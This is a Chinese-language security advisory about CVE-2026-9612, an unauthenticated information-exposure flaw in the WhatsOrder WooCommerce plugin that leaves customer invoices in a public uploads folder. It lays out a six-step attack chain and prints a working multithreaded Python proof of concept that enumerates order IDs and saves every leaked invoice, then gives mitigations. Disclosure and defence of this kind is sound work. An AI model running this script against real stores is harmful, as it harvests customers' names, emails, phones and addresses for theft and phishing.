IPBUF安全漏洞报告
English
CVE-2026-9612 CVSS 5.3 中危

CVE-2026-9612:WordPress WhatsOrder插件敏感信息泄露漏洞

披露日期: 2026-06-24

漏洞信息

漏洞编号
CVE-2026-9612
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WhatsOrder – Instant Checkout for WooCommerce (WordPress插件)

相关标签

敏感信息泄露WordPressWooCommerceWhatsOrderPII泄露未认证访问信息枚举电商安全插件漏洞CWE-200

漏洞概述

CVE-2026-9612是WordPress平台上的WhatsOrder – Instant Checkout for WooCommerce插件中存在的一个敏感信息泄露漏洞。该漏洞由Wordfence安全团队的安全研究员发现,CVSS评分为5.3分,属于中危级别漏洞。该漏洞影响该插件的所有版本,最高至1.0.1版本。

该漏洞的核心问题在于插件的`yapacdev_generate_order_pdf`函数在生成订单发票PDF时,将包含敏感客户信息的HTML发票文件直接写入到WordPress站点的公开可访问目录`wp-content/uploads/whatsorder_invoices/`中。该目录在创建时未配置`.htaccess`拒绝访问规则,也未放置`index.php`索引文件作为防护,导致所有发票文件均可通过HTTP直接下载,无需任何身份验证。

通过该漏洞,未经认证的攻击者可以通过枚举连续的订单ID(sequential order IDs),访问并下载任意客户的发票文件,从而获取大量敏感的个人身份信息(PII)和订单详情。这些信息包括客户的全名、电子邮件地址、电话号码、账单地址、订购的商品及其数量和价格、使用的优惠券、运输方式以及订单总额等。

由于该漏洞无需任何认证即可利用,且攻击方式简单(仅需HTTP请求),对使用该插件的电商网站构成了严重的隐私和数据安全威胁,可能导致大规模客户数据泄露。

技术细节

该漏洞的技术原理涉及WordPress插件的文件写入逻辑缺陷和安全配置缺失两个方面。

首先,在`yapacdev_generate_order_pdf`函数中,插件在生成订单发票时,会将包含完整订单和客户信息的HTML内容写入到WordPress的上传目录中。具体路径为`wp-content/uploads/whatsorder_invoices/`,文件名通常与订单ID相关联。

其次,关键的安全缺陷在于该目录的创建过程中,插件未执行以下安全措施:
1. 未在目录中创建`.htaccess`文件来拒绝外部HTTP访问
2. 未在目录中放置`index.php`文件来防止目录列表
3. 未对生成的发票文件实施任何访问控制或身份验证检查
4. 未使用随机化或不可预测的文件名来防止枚举攻击

利用方式方面,攻击者只需构造简单的HTTP请求即可利用该漏洞。由于WordPress的订单ID通常是连续递增的整数(如1, 2, 3, ...),攻击者可以通过遍历这些ID来访问`https://target.com/wp-content/uploads/whatsorder_invoices/{order_id}.html`等格式的URL,从而批量下载所有客户的发票信息。整个攻击过程无需认证,无需用户交互,且可以通过自动化脚本快速大规模执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标WordPress网站是否安装了WhatsOrder – Instant Checkout for WooCommerce插件,并确认其版本低于或等于1.0.1。
STEP 2
步骤2:路径确认
攻击者确认目标网站的发票存储路径为/wp-content/uploads/whatsorder_invoices/,并验证该目录可公开访问。
STEP 3
步骤3:订单ID枚举
攻击者利用WordPress订单ID连续递增的特性,从1开始遍历订单ID,构造HTTP请求访问对应的发票文件URL。
STEP 4
步骤4:数据提取
服务器直接返回包含敏感PII的HTML发票文件,攻击者从中提取客户的全名、邮箱、电话、地址、订单详情等敏感信息。
STEP 5
步骤5:批量自动化
攻击者使用脚本自动化执行上述过程,在短时间内批量下载大量客户发票数据,造成大规模数据泄露。
STEP 6
步骤6:数据利用
获取的PII数据可用于身份盗用、钓鱼攻击、社工攻击或在暗网上出售牟利。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9612 PoC - WhatsOrder Plugin Sensitive Information Exposure # Exploits unauthenticated access to invoice files in wp-content/uploads/whatsorder_invoices/ import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-wordpress-site.com" INVOICE_DIR = "/wp-content/uploads/whatsorder_invoices/" START_ID = 1 END_ID = 1000 # Adjust based on expected number of orders THREADS = 10 def fetch_invoice(order_id): """Attempt to fetch an invoice file by order ID enumeration.""" # Common file naming patterns for the invoice url = f"{TARGET_URL}{INVOICE_DIR}{order_id}.html" try: response = requests.get(url, timeout=10, verify=False, headers={"User-Agent": "Mozilla/5.0"}) if response.status_code == 200 and len(response.content) > 0: # Check if the response contains PII indicators pii_indicators = ["email", "phone", "address", "order", "total", "billing", "shipping", "coupon"] if any(indicator in response.text.lower() for indicator in pii_indicators): print(f"[+] Found invoice for order #{order_id}") # Save the leaked invoice data with open(f"leaked_invoice_{order_id}.html", "w", encoding="utf-8") as f: f.write(response.text) return order_id except requests.exceptions.RequestException: pass return None def exploit(): print(f"[*] Starting CVE-2026-9612 exploit against {TARGET_URL}") print(f"[*] Enumerating order IDs from {START_ID} to {END_ID}") leaked_orders = [] with ThreadPoolExecutor(max_workers=THREADS) as executor: results = executor.map(fetch_invoice, range(START_ID, END_ID + 1)) for result in results: if result is not None: leaked_orders.append(result) print(f"\n[*] Exploitation complete. {len(leaked_orders)} invoices leaked.") print(f"[*] Leaked order IDs: {leaked_orders}") if __name__ == "__main__": exploit()

影响范围

WhatsOrder – Instant Checkout for WooCommerce <= 1.0.1

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)在Web服务器层面(如Apache的.htaccess或Nginx配置)禁止对/wp-content/uploads/whatsorder_invoices/目录的外部HTTP访问;2)在该目录中放置一个空的index.php文件防止目录遍历;3)通过WordPress的文件权限设置,确保该目录下的文件不可被公开读取;4)使用安全插件监控并阻止对该目录的可疑访问请求;5)如非必要,考虑暂时停用WhatsOrder插件以消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表